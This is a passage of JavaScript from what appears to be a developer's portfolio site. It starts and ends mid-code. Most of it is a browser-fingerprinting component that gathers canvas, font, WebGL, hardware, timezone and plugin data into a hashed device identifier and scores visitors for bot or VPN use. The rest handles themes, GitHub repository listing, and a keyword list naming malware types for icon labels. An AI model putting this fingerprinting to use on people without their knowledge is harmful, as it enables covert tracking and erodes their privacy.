`${maxTextureSize}px`,\n                        'Max Viewport Dims': maxViewportDims ? `${maxViewportDims[0]}x${maxViewportDims[1]}px` : 'N/A',\n                        'Max Renderbuffer Size': `${maxRenderbufferSize}px`,\n                        'WebGL2 Support': this.hasWebGL2() ? 'Yes' : 'No',\n                        'Key Extensions': keyExtensions.length > 0 ? keyExtensions.join(', ') : 'None detected'\n                    }\n                };\n            } else {\n                return {\n                    vendor: gl.getParameter(gl.VENDOR) || 'Unknown',\n                    renderer: gl.getParameter(gl.RENDERER) || 'Unknown',\n                    version: glVersion || 'Unknown',\n                    details: {\n                        'Vendor': gl.getParameter(gl.VENDOR) || 'Unknown',\n                        'Renderer': gl.getParameter(gl.RENDERER) || 'Unknown',\n                        'WebGL Version': glVersion || 'Unknown',\n                        'GLSL Version': glslVersion || 'Unknown',\n                        'Max Texture Size': `${maxTextureSize}px`,\n                        'Max Viewport Dims': maxViewportDims ? `${maxViewportDims[0]}x${maxViewportDims[1]}px` : 'N/A',\n                        'Max Renderbuffer Size': `${maxRenderbufferSize}px`,\n                        'WebGL2 Support': this.hasWebGL2() ? 'Yes' : 'No',\n                        'Key Extensions': keyExtensions.length > 0 ? keyExtensions.join(', ') : 'None detected'\n                    }\n                };\n            }\n        } catch (e) {\n            return { vendor: 'Error', renderer: 'Error', version: 'Error' };\n        }\n    }\n    \n    // Get detailed hardware info\n    getHardwareInfo() {\n        let hardwareInfo = {};\n        \n        // Get CPU cores (logical processors)\n        if (navigator.hardwareConcurrency) {\n            hardwareInfo['CPU Cores'] = navigator.hardwareConcurrency;\n        }\n        \n        // Get device memory if available\n        if (navigator.deviceMemory) {\n            hardwareInfo['Device Memory'] = `${navigator.deviceMemory} GB`;\n        } else {\n            hardwareInfo['Approx. Memory'] = this.getApproximateMemory();\n        }\n        \n        // Add battery information\n        const batteryInfo = this.getBatteryInfo();\n        if (batteryInfo !== 'N/A') {\n            hardwareInfo['Battery Status'] = batteryInfo;\n        }\n        \n        // Add architecture information\n        const arch = this.getArchitecture();\n        if (arch !== 'Unknown') {\n            hardwareInfo['Architecture'] = arch;\n        }\n        \n        return hardwareInfo;\n    }\n    \n    hasWebGL2() {\n        try {\n            const canvas = document.createElement('canvas');\n            return !!canvas.getContext('webgl2');\n        } catch (e) {\n            return false;\n        }\n    }\n    \n    getArchitecture() {\n        const ua = navigator.userAgent.toLowerCase();\n        \n        if (ua.indexOf('arm') !== -1 || ua.indexOf('aarch64') !== -1) {\n            return 'ARM';\n        } else if (ua.indexOf('x86_64') !== -1 || ua.indexOf('x64') !== -1 || ua.indexOf('wow64') !== -1) {\n            return 'x86_64';\n        } else if (ua.indexOf('x86') !== -1 || ua.indexOf('i386') !== -1 || ua.indexOf('i686') !== -1) {\n            return 'x86';\n        } else if (ua.indexOf('ppc') !== -1 || ua.indexOf('powerpc') !== -1) {\n            return 'PowerPC';\n        }\n        \n        // Try to infer from platform if possible\n        const platform = navigator.platform || '';\n        if (platform.indexOf('Win64') !== -1 || platform.indexOf('x64') !== -1) {\n            return 'x86_64';\n        } else if (platform.indexOf('Win32') !== -1 || platform.indexOf('x86') !== -1) {\n            // Could be 64-bit running in 32-bit mode too\n            return navigator.userAgent.indexOf('WOW64') !== -1 ? 'x86_64' : 'x86';\n        } else if (platform.indexOf('MacIntel') !== -1) {\n            // Could be Intel or ARM on newer Macs\n            if (ua.indexOf('mac os x') !== -1 && ('ontouchend' in document)) {\n                return 'ARM (Apple Silicon)';\n            }\n            return 'x86_64';\n        } else if (platform.indexOf('Linux arm') !== -1) {\n            return 'ARM';\n        } else if (platform.indexOf('Linux') !== -1) {\n            return navigator.hardwareConcurrency > 8 ? 'x86_64' : 'x86';\n        }\n        \n        return 'Unknown';\n    }\n    \n    getBatteryInfo() {\n        if ('getBattery' in navigator) {\n            try {\n                // This is async, but we can't use async methods here\n                // Just return a placeholder and the actual battery status\n                // should be updated asynchronously\n                navigator.getBattery().then(battery => {\n                    const percentage = Math.round(battery.level * 100);\n                    const charging = battery.charging ? 'Charging' : 'Not charging';\n                    const batteryElement = document.querySelector('.battery-status');\n                    if (batteryElement) {\n                        batteryElement.textContent = `${percentage}% (${charging})`;\n                    }\n                }).catch(() => {});\n                \n                return '<span class=\"battery-status\">Checking...</span>';\n            } catch (e) {\n                return 'Not available';\n            }\n        }\n        \n        return 'Not available';\n    }\n    \n    getPreferredColorScheme() {\n        if (window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches) {\n            return 'Dark';\n        } else if (window.matchMedia && window.matchMedia('(prefers-color-scheme: light)').matches) {\n            return 'Light';\n        }\n        return 'No preference';\n    }\n    \n    // Get browser language information\n    getLanguageInfo() {\n        let langInfo = {};\n        \n        if (navigator.languages && navigator.languages.length) {\n            langInfo['Preferred Languages'] = navigator.languages.join(', ');\n        }\n        \n        if (navigator.language) {\n            langInfo['Primary Language'] = navigator.language;\n        }\n        \n        return langInfo;\n    }\n    \n    // Check availability of specific APIs\n    getAvailableAPIs() {\n        const apis = {\n            'Bluetooth': 'bluetooth' in navigator,\n            'Geolocation': 'geolocation' in navigator,\n            'WebRTC': 'RTCPeerConnection' in window,\n            'Credential Mgmt': 'credentials' in navigator,\n            'USB': 'usb' in navigator,\n            'Serial': 'serial' in navigator,\n            'GamePads': 'getGamepads' in navigator,\n            'Vibration': 'vibrate' in navigator,\n            'Payment Request': 'PaymentRequest' in window,\n            'Web Share': 'share' in navigator,\n            'Push API': 'PushManager' in window,\n            'Notifications': 'Notification' in window,\n            'Media Devices': 'mediaDevices' in navigator,\n            'Speech Recognition': 'SpeechRecognition' in window || 'webkitSpeechRecognition' in window,\n            'Web Workers': 'Worker' in window,\n            'Service Workers': 'serviceWorker' in navigator,\n            'WebGL': !!window.WebGLRenderingContext,\n            'WebGL2': !!window.WebGL2RenderingContext,\n            'WebVR': 'getVRDisplays' in navigator,\n            'WebXR': 'xr' in navigator,\n            'Audio API': 'AudioContext' in window || 'webkitAudioContext' in window,\n        };\n        \n        return apis;\n    }\n    \n    // Detailed timezone information\n    getDetailedTimezoneInfo() {\n        const tzInfo = {};\n        const date = new Date();\n        \n        tzInfo['Timezone Offset'] = this.getTimezoneOffsetString();\n        tzInfo['Timezone Name'] = Intl.DateTimeFormat().resolvedOptions().timeZone || 'Unknown';\n        tzInfo['DST Active'] = this.isDSTActive();\n        tzInfo['Current Time'] = date.toLocaleTimeString();\n        tzInfo['Current Date'] = date.toLocaleDateString();\n        \n        return tzInfo;\n    }\n    \n    // Check if Daylight Saving Time is active\n    isDSTActive() {\n        const date = new Date();\n        const jan = new Date(date.getFullYear(), 0, 1);\n        const jul = new Date(date.getFullYear(), 6, 1);\n        \n        return Math.max(jan.getTimezoneOffset(), jul.getTimezoneOffset()) > date.getTimezoneOffset();\n    }\n    \n    // Get information about installed fonts\n    getInstalledFonts() {\n        const baseFonts = ['monospace', 'sans-serif', 'serif'];\n        const testString = 'mmmmmmmmmmlli';\n        const testSize = '72px';\n        const h = document.createElement('span');\n        h.style.fontSize = testSize;\n        h.style.position = 'absolute';\n        h.style.left = '-9999px';\n        h.style.visibility = 'hidden';\n        h.textContent = testString;\n        document.body.appendChild(h);\n        \n        const baseFontWidths = {};\n        baseFonts.forEach(baseFont => {\n            h.style.fontFamily = baseFont;\n            baseFontWidths[baseFont] = h.offsetWidth;\n        });\n        \n        const fontCheckList = [\n            'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold', 'Courier New', \n            'Calibri', 'Cambria', 'Cambria Math', 'Comic Sans MS', 'Candara', 'Consolas', \n            'Constantia', 'Georgia', 'Garamond', 'Impact', 'Lucida Console', 'Lucida Sans Unicode', \n            'Microsoft Sans Serif', 'Palatino Linotype', 'Segoe UI', 'Tahoma', 'Times New Roman', \n            'Trebuchet MS', 'Verdana', 'Helvetica', 'Times', 'Courier'\n        ];\n        \n        const detectedFonts = [];\n        fontCheckList.forEach(font => {\n            let detected = false;\n            for (const baseFont of baseFonts) {\n                h.style.fontFamily = `'${font}',${baseFont}`;\n                if (h.offsetWidth !== baseFontWidths[baseFont]) {\n                    detected = true;\n                    break;\n                }\n            }\n            if (detected) {\n                detectedFonts.push(font);\n            }\n        });\n        \n        document.body.removeChild(h);\n        return detectedFonts.slice(0, 10);\n    }\n    \n    // Get Canvas fingerprint\n    getCanvasFingerprint() {\n        try {\n            const canvas = document.createElement('canvas');\n            canvas.width = 200;\n            canvas.height = 50;\n            const ctx = canvas.getContext('2d');\n            \n            // Text with gradient\n            const gradient = ctx.createLinearGradient(0, 0, canvas.width, 0);\n            gradient.addColorStop(0, \"#FF4500\");\n            gradient.addColorStop(0.5, \"#00CC00\");\n            gradient.addColorStop(1, \"#0000FF\");\n            ctx.fillStyle = gradient;\n            ctx.font = '18px Arial';\n            ctx.textBaseline = 'top';\n            ctx.fillText('Canvas Fingerprint', 2, 2);\n            \n            // Smiley face\n            ctx.fillStyle = '#FFD700';\n            ctx.beginPath();\n            ctx.arc(150, 25, 15, 0, Math.PI * 2, true);\n            ctx.fill();\n            ctx.lineWidth = 2;\n            ctx.strokeStyle = '#000000';\n            ctx.stroke();\n            \n            // Eyes\n            ctx.fillStyle = '#000000';\n            ctx.beginPath();\n            ctx.arc(145, 20, 2, 0, Math.PI * 2, true);\n            ctx.fill();\n            ctx.beginPath();\n            ctx.arc(155, 20, 2, 0, Math.PI * 2, true);\n            ctx.fill();\n            \n            // Smile\n            ctx.beginPath();\n            ctx.arc(150, 25, 10, 0, Math.PI, false);\n            ctx.stroke();\n            \n            // Hash the data for result\n            const dataUrl = canvas.toDataURL();\n            let hash = 0;\n            for (let i = 0; i < dataUrl.length; i++) {\n                hash = ((hash << 5) - hash) + dataUrl.charCodeAt(i);\n                hash = hash & hash;\n            }\n            return hash.toString(36).substring(0, 8);\n        } catch (e) {\n            return 'Canvas not supported';\n        }\n    }\n    \n    // Detect DNT (Do Not Track) headers\n    getDNTStatus() {\n        if (navigator.doNotTrack) {\n            return navigator.doNotTrack;\n        } else if (navigator.msDoNotTrack) {\n            return navigator.msDoNotTrack;\n        } else if (window.doNotTrack) {\n            return window.doNotTrack;\n        }\n        return 'Not set';\n    }\n    \n    // Check for touch input emulation\n    detectTouchEmulation() {\n        const maxTouchPoints = navigator.maxTouchPoints || 0;\n        const hasTouchSupport = 'ontouchstart' in window || maxTouchPoints > 0;\n        const hasCoarsePointer = window.matchMedia?.('(pointer: coarse)').matches;\n        const hasFinePointer = window.matchMedia?.('(pointer: fine)').matches;\n        \n        if (hasTouchSupport && hasFinePointer && !hasCoarsePointer) {\n            return 'Possible touch emulation';\n        } else if (hasTouchSupport && hasCoarsePointer) {\n            return 'Genuine touch device';\n        } else if (!hasTouchSupport && hasFinePointer) {\n            return 'Non-touch device';\n        }\n        \n        return 'Unknown';\n    }\n    \n    // Analyze browser headers for suspicious patterns\n    analyzeUserAgentSuspicion() {\n        const ua = navigator.userAgent.toLowerCase();\n        let suspicionScore = 0;\n        let suspicionReasons = [];\n        \n        // Проверка несоответствий в user agent\n        if (ua.includes('firefox') && ua.includes('chrome')) {\n            suspicionScore += 50;\n            suspicionReasons.push('Mixed browser identifiers');\n        }\n        \n        if (ua.includes('android') && ua.includes('iphone')) {\n            suspicionScore += 50;\n            suspicionReasons.push('Mixed platform identifiers');\n        }\n        \n        // Проверка на автоматические инструменты и ботов\n        const botPatterns = ['bot', 'crawler', 'spider', 'headless', 'puppeteer', 'phantomjs', 'selenium', 'webdriver'];\n        for (const pattern of botPatterns) {\n            if (ua.includes(pattern)) {\n                suspicionScore += 30;\n                suspicionReasons.push(`Bot signature detected: ${pattern}`);\n                break;\n            }\n        }\n        \n        // Проверка несоответствия между JavaScript и User-Agent\n        const platform = navigator.platform.toLowerCase();\n        if (ua.includes('windows') && !platform.includes('win')) {\n            suspicionScore += 25;\n            suspicionReasons.push('OS mismatch between UA and platform');\n        }\n        \n        if (ua.includes('mac') && !platform.includes('mac')) {\n            suspicionScore += 25;\n            suspicionReasons.push('OS mismatch between UA and platform');\n        }\n        \n        // Проверка на Headless браузеры\n        if (navigator.plugins.length === 0 && !ua.includes('mobile')) {\n            suspicionScore += 15;\n            suspicionReasons.push('No plugins detected (possible headless browser)');\n        }\n        \n        // Проверка на VPN или прокси по таймзоне\n        const userTimezone = Intl.DateTimeFormat().resolvedOptions().timeZone || '';\n        const userLanguage = (navigator.language || '').substring(0, 2).toLowerCase();\n        \n        // Check for mismatch between language and timezone\n        const timezoneMap = {\n            'ru': ['Europe/Moscow', 'Asia/Yekaterinburg', 'Asia/Omsk', 'Asia/Krasnoyarsk', 'Asia/Irkutsk', 'Asia/Yakutsk', 'Asia/Vladivostok', 'Asia/Magadan', 'Asia/Kamchatka'],\n            'en': ['America/New_York', 'America/Chicago', 'America/Denver', 'America/Los_Angeles', 'Europe/London'],\n            'de': ['Europe/Berlin', 'Europe/Vienna'],\n            'fr': ['Europe/Paris'],\n            'es': ['Europe/Madrid', 'America/Mexico_City'],\n            'it': ['Europe/Rome'],\n            'ja': ['Asia/Tokyo'],\n            'zh': ['Asia/Shanghai', 'Asia/Hong_Kong', 'Asia/Taipei'],\n            'ko': ['Asia/Seoul']\n        };\n        \n        if (userLanguage && userTimezone && timezoneMap[userLanguage]) {\n            const expectedTimezones = timezoneMap[userLanguage];\n            if (!expectedTimezones.some(tz => userTimezone.includes(tz))) {\n                suspicionScore += 20;\n                suspicionReasons.push('Timezone/language mismatch (possible VPN)');\n            }\n        }\n        \n        // Определение уровня подозрительности\n        let suspicionLevel;\n        if (suspicionScore >= 50) {\n            suspicionLevel = 'High';\n        } else if (suspicionScore >= 20) {\n            suspicionLevel = 'Medium';\n        } else if (suspicionScore > 0) {\n            suspicionLevel = 'Low';\n        } else {\n            suspicionLevel = 'None';\n        }\n        \n        return {\n            score: suspicionScore,\n            level: suspicionLevel,\n            reasons: suspicionReasons.length > 0 ? suspicionReasons : ['No suspicious patterns detected']\n        };\n    }\n    \n    generateHashedFingerprint() {\n        // Комбинируем все доступные данные для максимальной уникальности отпечатка\n        const userAgent = navigator.userAgent;\n        const screenInfo = `${screen.width}x${screen.height}x${screen.colorDepth}`;\n        const timeZone = Intl.DateTimeFormat().resolvedOptions().timeZone || '';\n        const timeZoneOffset = new Date().getTimezoneOffset();\n        const isDST = this.isDSTActive();\n        const languages = navigator.languages ? navigator.languages.join(',') : navigator.language;\n        const hardwareConcurrency = navigator.hardwareConcurrency || '';\n        const deviceMemory = navigator.deviceMemory || '';\n        const platform = navigator.platform;\n        const doNotTrack = this.getDNTStatus();\n        const touchEmulation = this.detectTouchEmulation();\n        const canvasHash = this.getCanvasFingerprint();\n        const availableAPIsCount = Object.values(this.getAvailableAPIs()).filter(Boolean).length;\n        const suspicionInfo = this.analyzeUserAgentSuspicion();\n        const touchPoints = navigator.maxTouchPoints || 0;\n        const pixelRatio = window.devicePixelRatio || 1;\n        const colorScheme = this.getPreferredColorScheme();\n        \n        // Собираем плагины если они доступны\n        const plugins = Array.from(navigator.plugins || [])\n            .map(p => `${p.name}:${p.filename}:${p.description}`)\n            .sort()\n            .join('|');\n            \n        // Шрифты, установленные на устройстве\n        const fonts = this.getInstalledFonts().join(',');\n        \n        // Сочетаем всё в один длинный уникальный компонент с разделителями\n        const components = [\n            userAgent,\n            screenInfo,\n            timeZone,\n            timeZoneOffset,\n            isDST,\n            languages,\n            hardwareConcurrency,\n            deviceMemory,\n            platform,\n            doNotTrack,\n            touchEmulation,\n            canvasHash,\n            availableAPIsCount,\n            suspicionInfo.level,\n            touchPoints,\n            pixelRatio,\n            colorScheme,\n            plugins,\n            fonts\n        ].join('###');\n        \n        // Используем более сложную хеш-функцию\n        let hash = 0;\n        for (let i = 0; i < components.length; i++) {\n            const char = components.charCodeAt(i);\n            hash = ((hash << 5) - hash) + char;\n            hash = hash & hash; // Конвертируем в 32-битное целое\n            \n            // Дополнительное перемешивание битов для лучшей уникальности\n            if (i % 10 === 0) {\n                hash = ((hash << 7) ^ (hash >> 3)) + i;\n            }\n        }\n        \n        // Конвертируем в шестнадцатеричное представление с гарантированной длиной\n        const hexHash = Math.abs(hash).toString(16).padStart(8, '0').toUpperCase();\n        \n        // Add suspicion code to the hash\n        const suspicionPrefix = suspicionInfo.level.charAt(0).toUpperCase();\n        \n        // Create formatted fingerprint identifier\n        return `${suspicionPrefix}|${hexHash.substring(0, 4)}-${hexHash.substring(4, 8)}-${Date.now().toString(36).slice(-4)}`;\n    }\n    \n    generateFeatureSupport() {\n        // Measure support for modern web standards in the user's browser\n        const features = {\n            // Web APIs\n            fetch: typeof fetch !== 'undefined',\n            serviceWorker: 'serviceWorker' in navigator,\n            webWorkers: typeof Worker !== 'undefined',\n            webAssembly: typeof WebAssembly !== 'undefined',\n            indexedDB: 'indexedDB' in window || 'webkitIndexedDB' in window,\n            localStorage: 'localStorage' in window,\n            sessionStorage: 'sessionStorage' in window,\n            \n            // Media and Graphics\n            webGL: this.hasWebGL2(),\n            webRTC: 'RTCPeerConnection' in window || 'webkitRTCPeerConnection' in window,\n            webAudio: typeof AudioContext !== 'undefined' || typeof webkitAudioContext !== 'undefined',\n            webSpeech: 'SpeechRecognition' in window || 'webkitSpeechRecognition' in window,\n            videoCapture: 'mediaDevices' in navigator && 'getUserMedia' in navigator.mediaDevices,\n            mediaRecorder: typeof MediaRecorder !== 'undefined',\n            \n            // Advanced Graphics\n            webVR: 'getVRDisplays' in navigator,\n            webXR: 'xr' in navigator,\n            webGPU: 'gpu' in navigator,\n            webAnimations: 'Animation' in window && 'KeyframeEffect' in window,\n            canvas: !!document.createElement('canvas').getContext,\n            canvasWebGL: !!document.createElement('canvas').getContext('webgl'),\n            \n            // Modern JavaScript\n            promises: typeof Promise !== 'undefined',\n            asyncAwait: (function() { try { eval('async function test() {}'); return true; } catch (e) { return false; } })(),\n            classes: (function() { try { eval('class Test {}'); return true; } catch (e) { return false; } })(),\n            generators: (function() { try { eval('function* test() {}'); return true; } catch (e) { return false; } })(),\n            \n            // CSS Features\n            gridLayout: (function() {\n                const el = document.createElement('div');\n                return 'grid' in el.style || 'msGrid' in el.style;\n            })(),\n            flexbox: (function() {\n                const el = document.createElement('div');\n                return 'flexBasis' in el.style || 'webkitFlexBasis' in el.style;\n            })(),\n            cssVariables: (function() {\n                return window.CSS && CSS.supports && CSS.supports('--a', '0');\n            })(),\n            \n            // Advanced Features\n            bluetooth: 'bluetooth' in navigator,\n            usb: 'usb' in navigator,\n            serial: 'serial' in navigator,\n            geolocation: 'geolocation' in navigator,\n            notifications: 'Notification' in window,\n            paymentRequest: 'PaymentRequest' in window,\n            credentials: 'credentials' in navigator,\n            batteryAPI: 'getBattery' in navigator,\n            webShare: 'share' in navigator,\n            \n            // Security Features\n            https: window.location.protocol === 'https:',\n            securityPolicies: 'securitypolicyviolation' in window,\n            crossOriginIsolation: window.crossOriginIsolated === true,\n            permissions: 'permissions' in navigator\n        };\n        \n        // Calculate the percentage of supported features\n        const supportedCount = Object.values(features).filter(Boolean).length;\n        const totalFeatures = Object.keys(features).length;\n        const supportPercentage = Math.round((supportedCount / totalFeatures) * 100);\n        \n        return {\n            features: features,\n            supported: supportedCount,\n            total: totalFeatures,\n            percentage: supportPercentage,\n            categorized: {\n                basicAPIs: ['fetch', 'serviceWorker', 'webWorkers', 'indexedDB', 'localStorage', 'sessionStorage'],\n                mediaGraphics: ['webGL', 'webRTC', 'webAudio', 'webSpeech', 'videoCapture', 'mediaRecorder'],\n                advancedGraphics: ['webVR', 'webXR', 'webGPU', 'webAnimations', 'canvas', 'canvasWebGL'],\n                modernJS: ['promises', 'asyncAwait', 'classes', 'generators'],\n                cssFeatures: ['gridLayout', 'flexbox', 'cssVariables'],\n                advancedAPIs: ['bluetooth', 'usb', 'serial', 'geolocation', 'notifications', 'paymentRequest', 'credentials', 'batteryAPI', 'webShare'],\n                security: ['https', 'securityPolicies', 'crossOriginIsolation', 'permissions']\n            }\n        };\n    }\n    \n    generateFeaturesList() {\n        const featureSupport = this.generateFeatureSupport();\n        const allFeatures = [];\n        \n        // Collect all categories and their functions\n        const categories = {\n            'Basic Web APIs': featureSupport.categorized.basicAPIs,\n            'Media & Graphics': featureSupport.categorized.mediaGraphics,\n            'Advanced Graphics': featureSupport.categorized.advancedGraphics,\n            'Modern JavaScript': featureSupport.categorized.modernJS,\n            'CSS Features': featureSupport.categorized.cssFeatures,\n            'Advanced APIs': featureSupport.categorized.advancedAPIs,\n            'Security': featureSupport.categorized.security\n        };\n        \n        // Create HTML for all categories and their functions\n        let html = '';\n        \n        Object.entries(categories).forEach(([categoryName, featureList]) => {\n            html += `<div class=\"feature-category\">\n                <div class=\"category-title\">${categoryName}</div>\n                <div class=\"category-features\">`;\n            \n            featureList.forEach(featureName => {\n                const supported = featureSupport.features[featureName];\n                const displayName = featureName\n                    .replace(/([A-Z])/g, ' $1') // Add spaces before capital letters\n                    .replace(/^./, str => str.toUpperCase()) // Capitalize first letter\n                    .replace(/Webgl/g, 'WebGL')\n                    .replace(/Webgpu/g, 'WebGPU')\n                    .replace(/Webvr/g, 'WebVR')\n                    .replace(/Webxr/g, 'WebXR')\n                    .replace(/Webrtc/g, 'WebRTC')\n                    .replace(/Api/g, 'API')\n                    .replace(/Css/g, 'CSS')\n                    .replace(/Https/g, 'HTTPS')\n                    .replace(/Db/g, 'DB');\n                \n                html += `\n                <div class=\"feature-item ${supported ? 'supported' : 'not-supported'}\">\n                    <div class=\"feature-status-icon\"></div>\n                    <div class=\"feature-name\">${displayName}</div>\n                    <div class=\"feature-status\">${supported ? 'Available' : 'Not Available'}</div>\n                </div>`;\n            });\n            \n            html += `</div></div>`;\n        });\n        \n        return html;\n    }\n}\n\n// Initialize Fingerprint component when DOM is ready\ndocument.addEventListener('DOMContentLoaded', () => {\n    new Fingerprint();\n});"
  },
  {
    "path": "app.js",
    "content": "// Управление предупреждающим попапом\nconst initWarningPopup = () => {\n    const warningPopup = document.getElementById('warning-popup');\n    const closeButton = document.getElementById('close-warning');\n    const userLang = navigator.language || navigator.userLanguage;\n\n    // Показываем предупреждение только для русскоязычных пользователей и если оно не было закрыто ранее\n    const isPopupDismissed = localStorage.getItem('warning-dismissed') === 'true';\n\n    if ((userLang === \"ru\" || userLang.startsWith(\"ru-\")) && !isPopupDismissed) {\n        if (warningPopup) warningPopup.classList.remove('hidden');\n    }\n\n    // Обработчик для кнопки закрытия\n    if (closeButton) {\n        closeButton.addEventListener('click', () => {\n            warningPopup.classList.add('hidden');\n            localStorage.setItem('warning-dismissed', 'true');\n        });\n    }\n};\n\n// Вызываем функцию при загрузке страницы\ninitWarningPopup();\n\nconsole.log(\"Hello from DosX Portfolio!\");\n\n// Theme Management\nfunction loadTheme() {\n    // Make sure body doesn't have any theme modes first to avoid conflicts\n    document.body.classList.remove('light-mode', 'dark-mode');\n\n    // Get saved theme or default to light\n    const savedTheme = localStorage.getItem('theme') || 'light';\n\n    // Add appropriate class\n    document.body.classList.add(savedTheme + '-mode');\n\n    // Add loaded class for smooth page appearance\n    setTimeout(() => {\n        document.body.classList.add('loaded');\n    }, 100);\n\n    // Update DOM elements with class-based theme visibility\n    const lightOnlyElements = document.querySelectorAll('.light-only');\n    const darkOnlyElements = document.querySelectorAll('.dark-only');\n\n    if (savedTheme === 'light') {\n        lightOnlyElements.forEach(el => el.style.display = '');\n        darkOnlyElements.forEach(el => el.style.display = 'none');\n    } else {\n        lightOnlyElements.forEach(el => el.style.display = 'none');\n        darkOnlyElements.forEach(el => el.style.display = '');\n    }\n\n    // Force browser repaint to ensure all theme-specific elements are correctly shown\n    document.body.style.display = 'none';\n    setTimeout(() => {\n        document.body.style.display = '';\n    }, 5);\n}\n\nfunction toggleTheme() {\n    const isLightMode = document.body.classList.contains('light-mode');\n\n    // Remove current theme\n    document.body.classList.remove('light-mode', 'dark-mode');\n\n    // Add new theme\n    const newTheme = isLightMode ? 'dark' : 'light';\n    document.body.classList.add(newTheme + '-mode');\n\n    // Save the preference\n    localStorage.setItem('theme', newTheme);\n\n    // Update DOM elements with class-based theme visibility\n    const lightOnlyElements = document.querySelectorAll('.light-only');\n    const darkOnlyElements = document.querySelectorAll('.dark-only');\n\n    if (newTheme === 'light') {\n        lightOnlyElements.forEach(el => el.style.display = '');\n        darkOnlyElements.forEach(el => el.style.display = 'none');\n    } else {\n        lightOnlyElements.forEach(el => el.style.display = 'none');\n        darkOnlyElements.forEach(el => el.style.display = '');\n    }\n}\n\n// Random Slogan with Typing Effect\nfunction setRandomSlogan() {\n    const sloganElement = document.getElementById('random-slogan');\n    if (!sloganElement) return;\n\n    const slogans = [\n        \"Hard work will help pass the time.\",\n        \"I'm #404 and distant like Jupiter.\",\n        \"Syntax errors build character.\",\n        \"Attack, Defend, Anticipate!\",\n        \"There is no spoon.\",\n        \"The cake is a lie.\",\n    ];\n\n    const randomSlogan = slogans[Math.floor(Math.random() * slogans.length)];\n\n    // Typing effect\n    let index = 0;\n    sloganElement.textContent = \"\";\n\n    function typeCharacter() {\n        if (index < randomSlogan.length) {\n            sloganElement.textContent += randomSlogan.charAt(index);\n            index++;\n            setTimeout(typeCharacter, 50);\n        }\n    }\n\n    typeCharacter();\n}\n\nfunction setEmailAddress() {\n    const mailElement = document.getElementById('mail');\n    if (!mailElement) return;\n\n    const emailParts = [\n        [\"collab\"].join(''),\n        String.fromCharCode(64),\n        ['\\u006b\\u0061\\u0079', '-', '\\u0073\\u006f\\u0066\\u0074\\u0077\\u0061\\u0072\\u0065', '.', '\\u0072\\u0075'].join('')\n    ];\n\n    mailElement.textContent = emailParts.join('');\n\n    mailElement.addEventListener('click', function (e) {\n        e.preventDefault();\n        const emailAddress = emailParts.join('');\n\n        // Use modern Clipboard API\n        navigator.clipboard.writeText(emailAddress).then(() => {\n            // Show confirmation that email was copied\n            const originalText = mailElement.textContent;\n            mailElement.textContent = 'Email copied!';\n            mailElement.style.color = '#4CAF50';\n\n            setTimeout(() => {\n                mailElement.textContent = originalText;\n                mailElement.style.color = '';\n\n                // Open email client after a short delay\n                window.location.href = 'mailto:' + emailAddress;\n            }, 1500);\n        }).catch(error => {\n            console.error('Failed to copy email:', error);\n\n            // Fallback to direct mail client open if clipboard fails\n            window.location.href = 'mailto:' + emailAddress;\n        });\n    });\n\n    // Add pointer cursor style to indicate clickability\n    mailElement.style.cursor = 'pointer';\n}\n\n// Set current year\nfunction setYear() {\n    const yearElement = document.getElementById('year');\n    if (!yearElement) return;\n\n    yearElement.textContent = new Date().getFullYear();\n}\n\n// GitHub API Configuration\nconst GITHUB_API_URL = \"https://api.github.com/users/DosX-dev/repos\";\nconst STORAGE_KEY = \"dosx_repos\";\nconst LAST_FETCH_KEY = \"dosx_last_fetch\";\nconst PER_PAGE = 100;\nconst CACHE_VALIDITY_DURATION = 60 * 60 * 1000; // 1 hour in milliseconds\n\n// Fetch repositories from GitHub API\nasync function fetchRepositories() {\n    const loadingElement = document.getElementById(\"loading\");\n\n    try {\n        let allRepos = [];\n        let page = 1;\n\n        while (true) {\n            const response = await fetch(`${GITHUB_API_URL}?per_page=${PER_PAGE}&page=${page}`, {\n                headers: {\n                    \"Accept\": \"application/vnd.github.v3+json\",\n                    \"User-Agent\": \"DosX-Portfolio-Website\"\n                }\n            });\n\n            if (!response.ok) {\n                throw new Error(`GitHub API error: ${response.status} ${response.statusText}`);\n            }\n\n            const repos = await response.json();\n\n            if (repos.length === 0) {\n                break;\n            }\n\n            allRepos = allRepos.concat(repos);\n            page++;\n        }\n\n        // Save to localStorage cache\n        localStorage.setItem(STORAGE_KEY, JSON.stringify(allRepos));\n        localStorage.setItem(LAST_FETCH_KEY, Date.now().toString());\n\n        return allRepos;\n    } catch (error) {\n        console.error(\"Error fetching repositories:\", error);\n\n        if (loadingElement) {\n            loadingElement.innerHTML = `\n                <p class=\"error-message\">Failed to load repositories. ${error.message}</p>\n            `;\n        }\n\n        return null;\n    }\n}\n\n// Check if repository meets display criteria\nfunction shouldDisplayRepository(repo) {\n    return !repo.fork && repo.topics?.length > 0 && repo.description?.length > 0;\n}\n\n// Generate category icons based on repository\nfunction getCategoryIcon(condition, iconName, titleName) {\n    const title = titleName || iconName;\n    // Преобразуем названия в понятные категории\n    const displayNames = {\n        'game': 'Games',\n        'virus': 'Malware',\n        'learn': 'Learning',\n        'web': 'Web',\n        'leaf': 'Optimizers',\n        'database': 'Data Tools',\n        'shield': 'Protections',\n        'sdk': 'Libraries'\n    };\n\n    const displayTitle = displayNames[iconName] || title;\n    return condition ? `<img src=\"res/${iconName}-new.svg\" alt=\"${displayTitle}\" title=\"${displayTitle}\" class=\"category-icon\">` : '';\n}\n\nfunction getCategoryIcons(repo) {\n    const repoDescLower = repo.description ? repo.description.toLowerCase() : \"\";\n    const repoNameLower = repo.name.toLowerCase();\n\n    return getCategoryIcon(repo.topics.includes(\"game\") || repoNameLower.includes(\"game\"), \"game\", \"Games\") +\n        getCategoryIcon(repo.topics.includes(\"malware\") ||\n            repo.topics.includes(\"stub\") ||\n            repoDescLower.includes(\"malware\") ||\n            repoDescLower.includes(\"bypass\") ||\n            repoDescLower.includes(\"virus\") ||\n            repoDescLower.includes(\"spyware\") ||\n            repoDescLower.includes(\"ransomware\") ||\n            repoDescLower.includes(\"rootkit\") ||\n            repoDescLower.includes(\"keylogger\") ||\n            repoDescLower.includes(\"clipper\") ||\n            repoDescLower.includes(\"crack\") ||\n            repoDescLower.includes(\"backdoor\") ||\n            repoDescLower.includes(\"trojan\"), \"virus\", \"Security\") +\n        getCategoryIcon(repo.topics.includes(\"example\") ||\n            repo.topics.includes(\"learning\") ||\n            repoDescLower.includes(\"example of\") ||\n            repoDescLower.includes(\"learn\") ||\n            repoDescLower.includes(\"study\") ||\n            